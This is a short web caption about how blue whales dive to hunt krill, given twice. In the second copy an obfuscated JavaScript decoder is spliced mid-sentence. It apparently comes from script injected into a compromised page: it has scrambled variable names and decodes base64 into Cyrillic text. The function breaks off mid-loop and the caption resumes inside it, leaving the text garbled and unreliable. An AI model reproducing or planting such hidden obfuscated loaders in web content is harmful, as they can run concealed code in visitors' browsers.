Going down! When blue whales dive they accelerate forward during their last breath. They then tip their nose down and passively glide downward. Blue whales will remain on a dive anywhere from 10 to 20 minutes as they hunt for patches of krill.

Going down! When blue whales dive they accelerate forward during their last breath. They then tip their nose down <script type=function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaand passively glide downward. Blue whales will remain on a dive anywhere from 10 to 20 minutes as they hunt for patches of krill.” />